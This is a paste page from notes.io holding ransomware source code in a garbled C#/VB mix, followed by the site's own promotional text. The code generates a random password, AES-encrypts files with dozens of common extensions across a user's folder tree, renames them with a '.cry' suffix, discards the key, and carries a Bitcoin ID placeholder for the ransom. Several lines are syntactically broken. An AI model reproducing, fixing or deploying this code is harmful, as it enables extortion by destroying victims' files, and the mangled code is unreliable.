NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

Privateconst object SWP_HIDEWINDOW = 128;
Privateconst object SWP_SHOWWINDOW = 64;
PrivateDeclareAutoconst object HKEY_CURRENT_USER = 2147483649;


[DllImport("user32.dll")]
private static extern long SetWindowPos(long hwnd, long hWndInsertAfter, long x, long y, long cx, long cy, long wFlags);

private const int SPI_SETDESKWALLPAPER = 20;

private const int SPIF_UPDATEINIFILE = 1;
private const int SPIF_SENDWININICHANGE = 2;
[DllImport("user32.dll")]
static extern int SystemParametersInfo(int uAction, int uParam, string lpvParam, int fuWinIni);
[DllImport("user32.dll", EntryPoint="FindWindowA")]
static extern int FindWindow(string lpClassName, string lpWindowName);
[DllImport("user32.dll")]
static extern int SetWindowPos(int hwnd, int hWndInsertAfter, int x, int y, int cx, int cy, int wFlags);
private string sKey;
private string userName = Environment.UserName;
private string computerName = System.Environment.MachineName.ToString();
private string userDir = "C:\Users\";
private string BTC_ID = "<your_btc_id>";
----_-_---_---------------------_------_--–—————————
public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) {

byte[] encryptedBytes = null;
byte[] saltBytes = new byte[] {
1,
2,
3,
4,
5,
6,
7,
8
};
using(MemoryStream ms = new MemoryStream()) {
using(RijndaelManaged AES = new RijndaelManaged()) {
AES.KeySize = 256;
AES.BlockSize = 128;

dynamic key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);

AES.Mode = CipherMode.CBC;

using(cs == new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) {
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}

return encryptedBytes;
}
—————————————————————
public string CreatePassword(int length) {

const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
StringBuilder res = new StringBuilder();
Random rnd = new Random();
while (0 < System.Math.Max(System.Threading.Interlocked.Decrement(length), length + 1)) {
res.Append(valid(rnd.Next(valid.Length)));
}
return res.ToString();
}
——---++±++++++++----------------_---_--------------
public void EncryptFile(string file__1, string password) {

byte[] bytesToBeEncrypted = File.ReadAllBytes(file__1);
byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
File.WriteAllBytes(file__1, bytesEncrypted);
System.IO.File.Move(file__1, file__1 + Convert.ToString(".cry"));
}
----------------------------
public void encryptDirectory(string location, string password) {

dynamic validExtensions = new string[] {
".txt",
".doc",
".docx",
".xls",
".xlsx",
".ppt",
".pptx",
".odt",
".jpg",
".png",
".csv",
".sql",
".mdb",
".sln",
".php",
".asp",
".aspx",
".html",
".xml",
".psd",
".exe",
".backup",
".iso",
".sql",
".shtml",
".js",
".cpp",
".h",
".vb",
".frm",
".ini",
".log",
".asi",
".dll",
".c",
".htm"
};
string[] files = Directory.GetFiles(location);
string[] childDirectories = Directory.GetDirectories(location);
for (int i = 0; i <= files.Length - 1; i++) {
string extension = Path.GetExtension(files(i));
if (validExtensions.Contains(extension) | validExtensions.Contains(extension.ToUpper) | validExtensions.Contains(extension.ToLower)) {
EncryptFile(files(i), password);
}
}
for (int i = 0; i <= childDirectories.Length - 1; i++) {
encryptDirectory(childDirectories(i), password);
}
}
-------------------------
public void startAction() {

string password = CreatePassword(15);
string path = "\Desktop\test";
string startPath = userDir + userName + path;
encryptDirectory(startPath, password);
password = null;
}
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.